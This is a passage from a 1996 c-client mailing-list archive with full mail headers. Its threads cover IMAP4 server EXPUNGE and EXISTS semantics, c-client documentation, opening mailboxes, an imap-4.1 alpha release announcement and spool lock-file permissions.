Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I am implementing a IMAP4 server in a mobile environment, where the server can drop certain messages that are locally cached and served on the fly. I would appreciate your help in a problem I'm facing of the server notifying this correctly to clients. When the server drops messages, the server notifies the clients using unilateral messages. For example, suppose the client transaction starts of with 15 message and this later drops to 4 messages. The server would behave as follows: ============<>============== * 15 EXISTS * OK [UIDVALIDITY 839563907] UID validity status * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS ()] Permanent flags * OK [READ-ONLY] Mailbox status * 0 RECENT * 15 EXISTS A01 NOOP * OK [UIDVALIDITY 553076] UID validity status * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS ()] Permanent flags * OK [UNSEEN 1] 1 is first unseen * 0 RECENT * 4 EXISTS * 0 RECENT * OK NOOP completed ==============<>=============== I expect the clients, once they see the new EXISTS message to dump whatever they have cached and refetch new headers from the server. However, most of the clients I've tested abort as a FATAL condition. Here is what I notice: * Pine I was in the header menu and after the server had sent the above message, I tried to use the uparrow key and pine noted. Problem detected: "Bad msgno in mail_fetchstructure". Pine Exiting. * MMAIL: Similar response. Quietly quits after closing all windows. * Solstice: ?FATAL ERROR IN C_CLIENT, Bad msgno in mail_fetchstructure_full Abort To avoid the abort, I could choose "Check for new mail", then "View All", at which time it updates the screen to display just the four headers insteam of 15 so that I cannot access those unavailable headers. My question is, how do I do this correctly, ie, how can the server tell the clients that there has been a catastrophic change in the message counts and that the client must refetch whatever cached messages structures that they have. I would prefer a portable solution if possible as I would prefer not to munge with pine or other clients to acheive this. BTW, is my usage a proper usage of the IMAP4 protocol? Thanks much for any help, -S From pinedev@shivax2.cac.washington.edu Thu Aug 29 00:07:44 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Thu, 29 Aug 1996 00:07:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA09894; Thu, 29 Aug 96 00:07:43 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id AAA22664 for c-client-out; Thu, 29 Aug 1996 00:07:08 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with ESMTP id AAA22659 for ; Thu, 29 Aug 1996 00:07:06 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id AAA03835; Thu, 29 Aug 1996 00:07:03 -0700 (PDT) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA11353; Thu, 29 Aug 96 00:06:55 -0700 Date: Thu, 29 Aug 1996 00:01:40 -0700 (PDT) From: Mark Crispin Subject: re: HELP: How can a IMAP4 server inform a client of a changing message in a Mobile environment To: Surendar Chandra Cc: c-client@cac.washington.edu In-Reply-To: <32253F24.5915@cs.duke.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The only way that the number of messages in the mailbox can decrease is if you send untagged EXPUNGE responses for each message that is removed. An untagged EXISTS response can only increase the number of messages in the mailbox. Thus, your scenario could be: A00 SELECT FOO * 15 EXISTS * OK [UIDVALIDITY 839563907] UID validity status * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS ()] Permanent flags * OK [READ-ONLY] Mailbox status * 0 RECENT A00 OK Select done A01 NOOP * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 4 EXISTS * OK NOOP completed It would, however, be better to figure out which messages were not dropped and refrain from sending an untagged EXPUNGE for those messages. From pinedev@shivax2.cac.washington.edu Fri Aug 30 00:25:33 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Fri, 30 Aug 1996 00:25:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA30756; Fri, 30 Aug 96 00:25:33 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id AAA19454 for c-client-out; Fri, 30 Aug 1996 00:24:24 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from bobcat.cs.duke.edu (bobcat.cs.duke.edu [152.3.140.36]) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with ESMTP id AAA19449; Fri, 30 Aug 1996 00:24:21 -0700 From: surendar@cs.duke.edu Received: from swift.cs.duke.edu (swift [152.3.140.149]) by bobcat.cs.duke.edu (8.7.5/8.6.9) with ESMTP id DAA23486; Fri, 30 Aug 1996 03:24:20 -0400 (EDT) Received: (surendar@localhost) by swift.cs.duke.edu (8.7.5/8.6.9) id DAA10915; Fri, 30 Aug 1996 03:24:20 -0400 (EDT) Message-Id: <199608300724.DAA10915@swift.cs.duke.edu> Subject: Re: HELP: How can a IMAP4 server inform a client of a changing message in a Mobile environment To: MRC@cac.washington.edu (Mark Crispin) Date: Fri, 30 Aug 1996 03:24:19 -0400 (EDT) Cc: surendar@cs.duke.edu, c-client@cac.washington.edu In-Reply-To: from "Mark Crispin" at Aug 29, 96 00:01:40 am X-Url: http://www.cs.duke.edu/cgi-bin/userinfo?surendar X-Face: <(Uii8nn3-@[RU'Z&2}YM!}seR/4E$8k%{*(x2`#LR/;(+L>-cHn1AQTwyWW.I04C'Aa&o1 umYdSIg"}LsD?2Q<#;whHtaMe$[]{2*FGu+4~b(ctVE??UiCg=Qy&%wycprohW/?pCWOD Oh>Np@0bH+A2rb2HzUy\tKU'w"v},~!m[T_mI:bRx Reply-To: surendar@cs.duke.edu Return-View-To: surendar@cs.duke.edu X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit I tried doing untagged EXPUNGE, both counting up and counting down and the clients (Sun Solstice/Pine) seem to ignore it. Even if they do accept an EXPUNGE, seems to be that EXPUNGE cannot be sent when no command is in progressl nor while responding to a FETCH, STORE, or SEARCH command. This restricts the window of opportunity for the server. Imagine that the server decides to drop some message. As long as the client is not doing a CHECK, the server cannot notify the client. When the client does a request, the server has to wait for a CHECK or NOOP or some such operation to force EXPUNGE. When the client requests the body of this expunged message and if the client is not notified and the if server responds with a NIL for body[1], [* 5 FETCH (BODY[1] NIL)] the clients dump core . Please note that I am sending unsolicited 'EXISTS' messages whenever the server drops/adds messages. What would be a good protocol for the server to continously update the clients on the current message availability and force the clients to always ask the server rather than make local cached decisions(or, how can I always keep the client cache uptodate) Thanks much for all your help, -S : The only way that the number of messages in the mailbox can decrease is if you : send untagged EXPUNGE responses for each message that is removed. An untagged : EXISTS response can only increase the number of messages in the mailbox. : : Thus, your scenario could be: : : A00 SELECT FOO : * 15 EXISTS : * OK [UIDVALIDITY 839563907] UID validity status : * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) : * OK [PERMANENTFLAGS ()] Permanent flags : * OK [READ-ONLY] Mailbox status : * 0 RECENT : A00 OK Select done : A01 NOOP : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 1 EXPUNGE : * 4 EXISTS : * OK NOOP completed : : It would, however, be better to figure out which messages were not dropped and : refrain from sending an untagged EXPUNGE for those messages. From pinedev@shivax2.cac.washington.edu Fri Aug 30 00:59:44 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Fri, 30 Aug 1996 00:59:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA31072; Fri, 30 Aug 96 00:59:44 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id AAA19849 for c-client-out; Fri, 30 Aug 1996 00:58:49 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with ESMTP id AAA19844 for ; Fri, 30 Aug 1996 00:58:48 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id AAA07422; Fri, 30 Aug 1996 00:58:44 -0700 (PDT) Date: Fri, 30 Aug 1996 00:27:18 -0700 (PDT) From: Mark Crispin Subject: Re: HELP: How can a IMAP4 server inform a client of a changing message in a Mobile environment To: surendar@cs.duke.edu Cc: surendar@cs.duke.edu, c-client@cac.washington.edu In-Reply-To: <199608300724.DAA10915@swift.cs.duke.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I'm not sure what version of Pine you tried. The current version of Pine is 3.95, and it is supposed to handle untagged EXPUNGE even when an EXPUNGE command was not done. Ideally, the server should not allow the message data to be deleted until after it has issued the untagged EXPUNGE. If you really must return empty message data, try returning "" instead of NIL. From pinedev@shivax2.cac.washington.edu Fri Aug 30 23:55:30 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Fri, 30 Aug 1996 23:55:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA19290; Fri, 30 Aug 96 23:55:30 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id XAA13595 for c-client-out; Fri, 30 Aug 1996 23:54:21 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from bobcat.cs.duke.edu (bobcat.cs.duke.edu [152.3.140.36]) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with ESMTP id XAA13590; Fri, 30 Aug 1996 23:54:18 -0700 From: surendar@cs.duke.edu Received: from roc.cs.duke.edu (roc.cs.duke.edu [152.3.140.96]) by bobcat.cs.duke.edu (8.7.5/8.6.9) with ESMTP id CAA27508; Sat, 31 Aug 1996 02:54:17 -0400 (EDT) Received: (surendar@localhost) by roc.cs.duke.edu (8.7.5/8.6.9) id CAA01733; Sat, 31 Aug 1996 02:54:13 -0400 (EDT) Message-Id: <199608310654.CAA01733@roc.cs.duke.edu> Subject: Re: HELP: How can a IMAP4 server inform a client of a changing message in a Mobile environment To: MRC@cac.washington.edu (Mark Crispin) Date: Sat, 31 Aug 1996 02:54:13 -0400 (EDT) Cc: surendar@cs.duke.edu, c-client@cac.washington.edu In-Reply-To: from "Mark Crispin" at Aug 30, 96 00:27:18 am X-Url: http://www.cs.duke.edu/cgi-bin/userinfo?surendar X-Face: <(Uii8nn3-@[RU'Z&2}YM!}seR/4E$8k%{*(x2`#LR/;(+L>-cHn1AQTwyWW.I04C'Aa&o1 umYdSIg"}LsD?2Q<#;whHtaMe$[]{2*FGu+4~b(ctVE??UiCg=Qy&%wycprohW/?pCWOD Oh>Np@0bH+A2rb2HzUy\tKU'w"v},~!m[T_mI:bRx Reply-To: surendar@cs.duke.edu Return-View-To: surendar@cs.duke.edu X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit : I'm not sure what version of Pine you tried. The current version of Pine is : 3.95, and it is supposed to handle untagged EXPUNGE even when an EXPUNGE : command was not done. I was using 3.93. Now, I have downloaded 3.95 and it does the same thing. Here are excerts from the debug file. I could mail you the whole debug file if you want. Basically, I am in this mail folder, and there are 4 messages in it. Then the number of messages increases to 16 at which time the server sends 4 EXPUNGES. Pine works fine. Now the number of messages drops to 4 again. Server sends 16 EXPUNGES. I am still using down keys in the header window when pine quits with Pine Panic: Bad msgno in mail_fetchstructure ============DEBUG LOG========== IMAP DEBUG 02:42:35 8/31: * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 1 EXPUNGE * 4 EXISTS mm_expunged called {xos.cs.duke.edu}#jail/INBOX 1 * OK [UIDVALIDITY 553076] UID validity status IMAP DEBUG 02:42:35 8/31: * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) IMAP DEBUG 02:42:35 8/31: * OK [PERMANENTFLAGS ()] Permanent flags IMAP DEBUG 02:42:35 8/31: * OK [READ-WRITE] Mailbox status IMAP DEBUG 02:42:35 8/31: * OK [UNSEEN 1] 1 is first unseen IMAP DEBUG 02:42:35 8/31: * 0 RECENT IMAP DEBUG 02:42:35 8/31: * 4 EXISTS IMAP DEBUG 02:42:35 8/31: * 0 RECENT IMAP DEBUG 02:42:35 8/31: * 0 RECENT IMAP DEBUG 02:42:35 8/31: A00008 OK NOOP completed Ping complete: Sat Aug 31 02:42:35 1996 New mail, inbox, new_mail_count:0 expunge count:2, max_msgno:16 ******** new mail returning 2 ******** set_titlebar - style: 1 current message cnt:1 current_pl: 0 total_pl: 0 end_screen called about to end_tty_driver end_signals(1) Pine Panic: Bad msgno in mail_fetchstructure ============DEBUG LOG========== : Ideally, the server should not allow the message data to be deleted until : after it has issued the untagged EXPUNGE. If you really must return empty : message data, try returning "" instead of NIL. True, the server does not expunge the messages till it had sent the EXPUNGE. But, even if it did send an EXPUNGE and the client asks for an EXPUNGED message, I had modified the server to send a NIL, but the client never sends any message to the server, it just PANIC's by itself. Thanks much for all your help, I really appreciate it. -S From pinedev@shivax2.cac.washington.edu Mon Sep 2 00:38:46 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Mon, 2 Sep 1996 00:38:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA09889; Mon, 2 Sep 96 00:38:46 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id AAA16883 for c-client-out; Mon, 2 Sep 1996 00:34:41 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from bobcat.cs.duke.edu (bobcat.cs.duke.edu [152.3.140.36]) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with ESMTP id AAA16878; Mon, 2 Sep 1996 00:34:39 -0700 From: surendar@cs.duke.edu Received: from roc.cs.duke.edu (roc.cs.duke.edu [152.3.140.96]) by bobcat.cs.duke.edu (8.7.5/8.6.9) with ESMTP id DAA31284; Mon, 2 Sep 1996 03:34:33 -0400 (EDT) Received: (surendar@localhost) by roc.cs.duke.edu (8.7.5/8.6.9) id DAA01012; Mon, 2 Sep 1996 03:34:29 -0400 (EDT) Message-Id: <199609020734.DAA01012@roc.cs.duke.edu> Subject: Re: HELP: How can a IMAP4 server inform a client of a changing message in a Mobile environment To: MRC@cac.washington.edu (Mark Crispin) Date: Mon, 2 Sep 1996 03:34:23 -0400 (EDT) Cc: surendar@cs.duke.edu, c-client@cac.washington.edu In-Reply-To: from "Mark Crispin" at Aug 30, 96 00:27:18 am X-Url: http://www.cs.duke.edu/cgi-bin/userinfo?surendar X-Face: <(Uii8nn3-@[RU'Z&2}YM!}seR/4E$8k%{*(x2`#LR/;(+L>-cHn1AQTwyWW.I04C'Aa&o1 umYdSIg"}LsD?2Q<#;whHtaMe$[]{2*FGu+4~b(ctVE??UiCg=Qy&%wycprohW/?pCWOD Oh>Np@0bH+A2rb2HzUy\tKU'w"v},~!m[T_mI:bRx Reply-To: surendar@cs.duke.edu Return-View-To: surendar@cs.duke.edu X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Oops, please ignore my previous email. Pine does work correctly, except I was printf'g "* 1 EXPUNGE\n", instead of "* 1 EXPUNGE\015\012", Sorry for the trouble. It works fine now. Thanks much, -S : I'm not sure what version of Pine you tried. The current version of Pine is : 3.95, and it is supposed to handle untagged EXPUNGE even when an EXPUNGE : command was not done. : : Ideally, the server should not allow the message data to be deleted until : after it has issued the untagged EXPUNGE. If you really must return empty : message data, try returning "" instead of NIL. From pinedev@shivax2.cac.washington.edu Wed Sep 4 00:48:07 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Wed, 4 Sep 1996 00:48:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA12739; Wed, 4 Sep 96 00:48:06 -0700 Received: (from daemon@localhost) by mx1.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id AAA23596 for c-client-out; Wed, 4 Sep 1996 00:40:18 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from nemesis.ics.forth.gr (nemesis.csi.forth.gr [139.91.151.3]) by mx1.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with SMTP id AAA23591 for ; Wed, 4 Sep 1996 00:40:04 -0700 Received: from skopelos.csi.forth.gr by nemesis.ics.forth.gr (ICS mailhost); on Wed, 4 Sep 1996 10:39:48 +0300 (EET DST); with id AA29107 Date: Wed, 4 Sep 1996 10:39:48 +0300 From: Kyriakakis Vangelis Received: by skopelos.csi.forth.gr (4.1/SMI-4.1) id AA10841; Wed, 4 Sep 96 10:41:34 +0300 Message-Id: <9609040741.AA10841@skopelos.csi.forth.gr> Organization: Institute of Computer Science, Foundation for Research and Technology-Hellas (FORTH) Science and Technology Park of Crete Vassilika Vouton, P.O.Box 1385 GR 711 10 Heraklion, Crete, Greece tel.: +30 (81) 39 16 00, fax: +30 (81) 39 16 01 To: c-client@cac.washington.edu Subject: C-client documentation... Hello, I would like to know if there is any documentation for the c-client library Thanks Vangelis Kyriakakis e-mail: vkyriak@ics.forth.gr From pinedev@shivax2.cac.washington.edu Wed Sep 4 01:37:47 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Wed, 4 Sep 1996 01:37:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA13347; Wed, 4 Sep 96 01:37:46 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id BAA01832 for c-client-out; Wed, 4 Sep 1996 01:36:47 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with ESMTP id BAA01827 for ; Wed, 4 Sep 1996 01:36:44 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id BAA07585; Wed, 4 Sep 1996 01:36:41 -0700 (PDT) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA06501; Wed, 4 Sep 96 01:36:36 -0700 Date: Wed, 4 Sep 1996 01:28:14 -0700 (PDT) From: Mark Crispin Subject: re: C-client documentation... To: Kyriakakis Vangelis Cc: c-client@cac.washington.edu In-Reply-To: <9609040741.AA10841@skopelos.csi.forth.gr> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 4 Sep 1996 10:39:48 +0300, Kyriakakis Vangelis wrote: > I would like to know if there is any documentation for the c-client > library Documentation for the imap-4 version of c-client is now available, thanks to funding from SUN. It is in the sources: ftp://ftp.cac.washington.edu/mail/imap.tar.Z When you untar it, it will be in imap-4/docs/Internal.DOC From pinedev@shivax2.cac.washington.edu Thu Oct 17 14:56:09 1996 -0700 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 17 Oct 1996 14:56:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW96.08/UW-NDC Revision: 2.33 ) id AA29694; Thu, 17 Oct 96 14:56:08 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.10/8.7.3+UW96.09) id OAA02719 for c-client-out; Thu, 17 Oct 1996 14:52:46 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from hp.com (hp.com [15.255.152.4]) by mx2.cac.washington.edu (8.7.5+UW96.10/8.7.3+UW96.09) with ESMTP id OAA02714 for ; Thu, 17 Oct 1996 14:52:44 -0700 Received: from isamu.rsn.hp.com by hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA206509161; Thu, 17 Oct 1996 14:52:42 -0700 Received: from localhost by isamu.rsn.hp.com with SMTP (1.39.111.2/16.2) id AA227339139; Thu, 17 Oct 1996 16:52:19 -0500 Date: Thu, 17 Oct 1996 16:52:19 -0500 (CDT) From: Kevin Howard To: c-client@cac.washington.edu Subject: xbiff-imap thing questions Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm trying to write some software on HP-UX 10.01 to function like xbiff between a remote machine and a mail host. However, I'm having trouble getting my program to open a mailbox via IMAP. The server_login function performs correctly (logs and error checking show that I am indeed logged into the mail host). However, it is not able to open any mailbox name I give it. I've tried INBOX, {$host}INBOX, and $user. I am using the (stream = mail_open (stream,tmp,NIL)) function. Is there something else that needs to be done between the server_login() function and the mail_open() function, or am I specifying the mail box incorrectly? Thanks in advance. -Kevin Kevin Howard Hewlett Packard - Convex Division From pinedev@shivax2.cac.washington.edu Thu Oct 17 16:01:02 1996 -0700 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 17 Oct 1996 16:01:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW96.08/UW-NDC Revision: 2.33 ) id AA31566; Thu, 17 Oct 96 16:01:01 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.10/8.7.3+UW96.09) id PAA04811 for c-client-out; Thu, 17 Oct 1996 15:58:44 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.7.5+UW96.10/8.7.3+UW96.09) with ESMTP id PAA04804 for ; Thu, 17 Oct 1996 15:58:41 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id PAA10010; Thu, 17 Oct 1996 15:58:38 -0700 (PDT) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA05347; Thu, 17 Oct 96 15:58:33 -0700 Date: Thu, 17 Oct 1996 15:53:54 -0700 (PDT) From: Mark Crispin Subject: re: xbiff-imap thing questions To: Kevin Howard Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Kevin - Your message doesn't give enough information. If mail_open() fails, you should get an error message via mm_log() that indicates the reason for the failure. What was that error message? Have you looked at mtest in the toolkit, also at the imap-utils such as chkmail, for examples of how to do this? -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Oct 22 19:09:27 1996 -0700 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 22 Oct 1996 19:09:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW96.08/UW-NDC Revision: 2.33 ) id AA04674; Tue, 22 Oct 96 19:09:27 -0700 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.7.5+UW96.10/8.7.3+UW96.09) id TAA05131 for c-client-out; Tue, 22 Oct 1996 19:07:56 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.7.5+UW96.10/8.7.3+UW96.09) with ESMTP id TAA05076; Tue, 22 Oct 1996 19:06:14 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id TAA22431; Tue, 22 Oct 1996 19:06:11 -0700 (PDT) Date: Tue, 22 Oct 1996 18:49:28 -0700 (PDT) From: Mark Crispin Subject: ALPHA test release of imap-4.1 toolkit To: IMAP Interest List , c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The alpha test release of the University of Washington imap-4.1 toolkit has begun. This version supports IMAP4rev1 as of draft 07. It can be retrieved as: ftp://ftp.cac.washington.edu/mail/imap-4.1.ALPHA.tar.Z As the "alpha test" name implies, this release is intended primarily for application developers and not for end-users; in particular, this version has not been thoroughly tested and it should not be run in production. There are major internal and external changes in this version, and it is unlikely that a c-client based application will build without modification. Pay particular attention to the new layout of the BODY structure, and to the new mail_fetch_* routines which should be used instead of the old interfaces. Please report any problems in the imap-4.1 alpha to MRC@CAC.Washington.EDU. The imap-4 toolkit beta has finished. The final version is: ftp://ftp.cac.washington.edu/mail/imap-4.tar.Z This is also the default imap.tar.Z until the beta of imap-4.1 begins. From pinedev@shivax2.cac.washington.edu Mon Oct 28 08:03:12 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 28 Oct 1996 08:03:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW96.08/UW-NDC Revision: 2.33 ) id AA16016; Mon, 28 Oct 96 08:03:12 -0800 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) id IAA13165 for c-client-out; Mon, 28 Oct 1996 08:58:17 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from pauli.physics.wm.edu (pauli.physics.wm.edu [128.239.3.112]) by mx2.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) with SMTP id IAA13161 for ; Mon, 28 Oct 1996 08:58:13 -0700 Received: by pauli.physics.wm.edu (951211.SGI.8.6.12.PATCH1042/951211.SGI.AUTO) id LAA14585; Mon, 28 Oct 1996 11:00:26 -0500 Date: Mon, 28 Oct 1996 11:00:26 -0500 Subject: external *.lock creation/deletion program To: c-client@cac.washington.edu From: Paul Raines Message-Id: X-Mailer: TkMail 4.0beta8 Reply-To: raines@slac.stanford.edu I have begun to look at c-client for use in my mail reader. A couple of questions/observations so far: (1) in order for *.lock creation for the mail spool file to work, either the spool directory must be writable (ususally 01777) by all or the program based on c-client must be setuid/setgid. As a sysadmin, I find neither of these options very acceptable. For my reader, I have created a small, simple setgid program to create/delete *.lock files in the spool directory. It is small and simple enough to (hopefully) see any security holes. It would be nice if c-client could be configured to use such an external program. (2) any plans for adding Content-Disposition support to the BODY structure? (3) I am confused about the following text from Internal.DOC >> GET_FROMWIDGET / SET_FROMWIDGET >> If non-NIL, APPEND in the Unix mbox format will insert a >> ">" character in front of all lines which begin with the >> string "From ". If NIL, it will only do so if the entire >> line looks like a message delimiter (that is, the date is >> also in correct format). Defaults to T. Shouldn't the last be 'only do so if the entire line does NOT lool like a message delimiter'? I have seen some formats that do put a '>' in front of the mesg delimiter lines but this seems a crazy standard since many use '>' as a mesg inclusion prefix. pr -- _________________________________________________________________________ Paul Raines raines@slac.stanford.edu 804-221-1876 Stanford Linear Accelerator End Station A E143 Collaboration http://www.slac.stanford.edu/~raines/index.html <======== PGP public key From pinedev@shivax2.cac.washington.edu Mon Oct 28 09:47:45 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 28 Oct 1996 09:47:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW96.08/UW-NDC Revision: 2.33 ) id AA19938; Mon, 28 Oct 96 09:47:41 -0800 Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) id KAA08682 for c-client-out; Mon, 28 Oct 1996 10:44:47 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) with ESMTP id KAA08678 for ; Mon, 28 Oct 1996 10:44:44 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id 